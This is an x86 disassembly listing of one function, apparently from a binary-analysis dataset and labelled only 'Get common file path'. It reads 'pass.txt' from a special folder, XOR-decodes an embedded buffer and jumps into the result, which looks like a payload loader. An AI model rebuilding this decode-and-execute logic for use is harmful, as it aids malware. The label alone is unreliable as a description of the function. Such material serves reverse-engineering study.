Function at 0x32930
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x471e9
mov eax, dword fs:[0]
push eax
sub esp, 0x1e8
mov eax, dword [0x4f29c]
xor eax, esp
mov dword [esp + 0x1e0], eax
push esi
mov eax, dword [0x4f29c]
xor eax, esp
push eax
lea eax, [esp + 0x1f0]
mov dword fs:[0], eax
push 0
push 0x2e
lea eax, [esp + 0xec]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0xe4]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x32990
mov ecx, dword [str.pass.txt]
mov edx, dword [0x4c800]
mov dword [eax], ecx
mov cx, word [0x4c804]
mov dword [eax + 4], edx
lea edx, [esp + 0xe4]
mov word [eax + 8], cx
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00033180
mov dword [esp + 0x1f8], 0
cmp dword [esp + 0x6c], 0
je 0x32a20
lea ecx, [esp + 0x14]
push ecx
call fcn.00034f80
add esp, 4
lea eax, [esp + 0x18]
call fcn.00034120
test eax, eax
jne 0x32a20
mov edx, dword [esp + 0x14]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x20]
lea ecx, [esp + ecx + 0x14]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x32a0d
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x32a20
push 0
call fcn.00032380
nop
lea eax, [esp + 0xe4]
push 0x4c814
push eax
call fcn.00036bc4
add esp, 8
mov esi, eax
jmp 0x32a40
lea ecx, [esp + 8]
push ecx
push 0x4c818
push esi
call fcn.00035afa
add esp, 0xc
cmp eax, 0xffffffff
jne 0x32a40
push esi
call fcn.00036feb
mov eax, dword [esp + 0xc]
add esp, 4
test eax, eax
je 0x32a20
mov word [esp + 0xd6], ax
mov edx, 0x66
mov eax, 0xaaaaaaab
mov word [esp + 0xd4], dx
mul dword [0x50194]
mov ecx, 8
mov dword [esp + 0xc0], ecx
mov dword [esp + 0xc8], ecx
mov ecx, 9
mov word [esp + 0xe0], cx
xor ecx, ecx
mov esi, edx
shr esi, 1
mov dword [esp + 0xc4], 1
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 0x680086
mov dword [esp + 0xd8], 0x30001
mov dword [esp + 0xdc], 0x70005
mov eax, ecx
je 0x32b0e
lea ebx, [ebx]
cmp cx, 9
jne 0x32af8
xor ecx, ecx
movzx edx, cx
mov dl, byte [esp + edx*2 + 0xd0]
xor byte [eax + 0x5019c], dl
inc eax
inc ecx
cmp eax, esi
jb 0x32af0
mov edx, dword [0x50194]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x5019c
call fcn.00031b30
mov eax, dword [0x50198]
mov ecx, dword [0x50194]
push eax
push ecx
push 0x5019c
call fcn.00032870
mov eax, dword [0x50194]
add esp, 0x1c
lea edx, [esp + 0xc0]
push edx
neg eax
push eax
mov esi, 0x5019c
call fcn.00031c10
add esp, 8
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00031450
mov esi, eax
add esp, 4
mov ecx, esi
call fcn.00031600
call eax
test esi, esi
je 0x32b84
call fcn.000316e0
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x74]
mov dword [esp + 0xc], ecx
mov dword [esp + eax + 0x14], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea ecx, [esp + 0x18]
mov dword [esp + 0x1f8], 1
call fcn.00033290
mov dword [esp + 0x1f8], 0xffffffff
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x74]
mov dword [esp + edx + 0x14], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
push eax
mov dword [esp + 0x78], vtable.std::ios_base.0
call fcn.00044ec4
add esp, 4
mov ecx, dword [esp + 0x1f0]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.0003542d
mov esp, ebp
pop ebp
ret